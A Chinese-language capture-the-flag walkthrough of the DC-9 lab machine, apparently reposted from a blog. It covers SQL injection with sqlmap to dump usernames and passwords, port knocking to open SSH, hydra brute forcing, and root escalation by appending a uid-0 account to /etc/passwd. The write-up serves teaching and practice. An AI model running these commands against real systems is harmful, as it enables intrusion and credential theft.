DC-9
January 10, 2024 10:02 AM
Tags:knockd
Owner:只惠摸鱼
信息收集
-
使用arp-scan和nmap扫描C段存活主机,探测靶机ip:192.168.199.139,只有80端口开放。
-
再扫一下靶机端口服务的情况吧。发现22端口是被过滤的状态,可能装的有防火墙。
-
扫描80开放端口的服务、版本、操作系统、基础漏洞。发现有CSRF漏洞,还有一些隐藏的目录探测处但没什么太多有用的信息,还有操作系统的一些信息。一会尝试看一下能否利用。
-
访问一下80端口看看什么样,有没有有用的信息
-
Display All Records这里是用户的一个信息展示,可以看到有17个用户,且有相应的职位信息,邮箱。一会可以作为提权或登陆的依据。
-
search页面有一个查询框,因为是查询前面用户的,在页面尝试了一下SQL注入和XSS没用。
-
发现manage.php有登陆页面,尝试弱密码、万能密码没有什么用
-
扫了一下后台目录,也没有什么发现
-
指纹识别一下,也没有发现什么有用的东西。
-
爆破了一下manage.php页面的登录,没有成功
-
用BP抓包再试一下sql注入吧,在manage.php页面进行没有什么效果,但是在search页面有用!(有突破口了!)
-
上sqlmap,直接跑吧
-
爆数据库
-
sqlmap -u http://192.168.199.139/results.php --data “search=1” --dbs
-
-
拿到数据库,其中users感觉比较有用,爆一下表
-
sqlmap -u http://192.168.199.139/results.php --data “search=1” -D “users” --tables
-
-
拿到一个表,UserDetails,爆一下字段名
-
sqlmap -u http://192.168.199.139/results.php --data “search=1” -D “users” -T “UserDetails” --columns
-
-
我们直接爆firstname,lastname,username,password的数据
-
sqlmap -u http://192.168.199.139/results.php --data “search=1” -D “users” -T “UserDetails” -C “firstname,lastname,username,password” --dump
-
-
-
根据之前用户信息记录页面中所看到的信息,marym用户是CEO的用户,应该相对权限较高一些,拿他的账号登录一下。marym 3kfs86sfd,尝试manage页面不行,又尝试了其他管理员账号也统统不行,ssh是过滤的无法链接,那只有再看看其他的数据库了。
-
爆一下数据库Staff的表
-
sqlmap -u http://192.168.199.139/results.php --data “search=1” -D “Staff” --tables
-
-
爆一下Users表的字段名
-
sqlmap -u http://192.168.199.139/results.php --data “search=1” -D “Staff” -T “Users” --columns
-
-
爆一下Password和Username字段的数据
-
sqlmap -u http://192.168.199.139/results.php --data “search=1” -D “Staff” -T “Users” -C “Username,Password” --dump
-
-
爆出一个admin账号密码,但密码好像是md5加密的,去找一些在线解密网站解一下。得到密码transorbital1
-
再次尝试登录,成功登录!
-
发现页面下方有一个file does not exist, 翻到Manage前面的页面就没有,可能存在文件包含漏洞。
-
尝试一下查一下用户,不断试一下目录(),发现可以爆出目录,确定存在文件包含漏洞。
漏洞利用
-
想起dc-5的时候,文件包含漏洞使用了nginx的日志来保存一句话木马,从而蚁剑连接到后端,指纹识别的时候发现是apache2.4.38版本,查了一下相关路径,尝试了/var/log/httpd/、/var/log/apache2/、/var/log/apache/ 都不行。没办法上传一句话木马想想其他办法吧。
-
想想之前被扫出来的被过滤的ssh端口,以及users数据库中未使用过的用户密码信息,搜一搜ssh被过滤,找到一篇这样的文章https://cloud.tencent.com/developer/article/1782065
-
感觉可能也是使用了Knockd进行了隐藏,查看一下knockd的配置文件是否存在。经过不断尝试,发现存在knockd。
-
通过之前那篇文章学到了knockd如何配置的,我们进行一个反利用,它“关门”,我们“敲开门”
-
用nmap进行敲门
-
for x in 7469 8475 9842;do nmap ‐Pn ‐‐max‐retries 0 ‐p $x 192.168.199.139;done
-
-
查看22端口是否开放了,成功“敲开“
-
之前收集的有一些用户名和密码,保存到txt文档:users.txt pass.txt,使用hydra对ssh进行爆破。
-
hydra -L users.txt -P pass.txt 192.168.199.139 ssh
-
-
爆出了一个,尝试连接,成功拿到shell
提权
-
看一下SUID文件和sudo(无需密码)的文件,权限太低,且没有什么能用的SUID文件
-
看一下用户目录吧,是否能够获得切换到其他用户的信息,发现只能进入本用户的文件内,其他没权限,且本用户的文件夹中没有文件。
-
查看一下用户目录下有没有隐藏目录或文件存在
-
ls -al
-
还真有
-
-
看一下secrets(感觉就是不想被人发现的东西)
-
看起来好像是其他用户的password
-
-
存pass.txt 字典里,准备再次爆破一遍
-
新爆出了两个账户fredf、joeyt,查看之前数据库中的信息,再对比记录表,可以知道fredf是管理员,那就用他的账号一试。
-
查一下SUID文件和无需密码的sudo文件
-
找到这个文件,运行一下,给了一个使用提示,需要python test.py读取追加
-
find / -name “test.py” 2>/dev/null (2>/dev/null 代表忽略掉错误提示信息)
-
读一下文件内容:读取参数1的内容,然后将参数1的内容写入到参数2的内容中。
- 那我们可以写一个有root权限的账户到/etc/passwd
-
进行一个密码加密(/etc/passwd密码直接以明文写进去,登录不成功)
openssl passwd -1 -salt demo 123 -1 使用md5加密算法 -salt 自动插入一个随机数作为文件内容加密 demo 123 用户名和密码
-
参数1写追加的文件内容(即按/etc/passwd格式写好的root权限的账户),参数2写/etc/passwd
- echo ‘demo:
1
1
1demo$N8rNOM51XVLc6Sj7cqsmT/:0:0::/root:/bin/bash’ >> /tmp/passwd
用户名:密码:uid:gid:家目录:登陆后使用的shell(注意使用两个/root前有两个::这个代表的是这一个参数为空【用户的简单说明。可为空】)
- echo ‘demo:
1
1
1demo$N8rNOM51XVLc6Sj7cqsmT/:0:0::/root:/bin/bash’ >> /tmp/passwd
-
按文件用法执行,添加root权限新用户:demo 123
-
su demo 切换到root权限用户
-
提权成功!查看flag。文章来源:https://www.toymoban.com/news/detail-819683.html
-
文章来源地址https://www.toymoban.com/news/detail-819683.html
到了这里,关于小H靶场笔记:DC-9的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!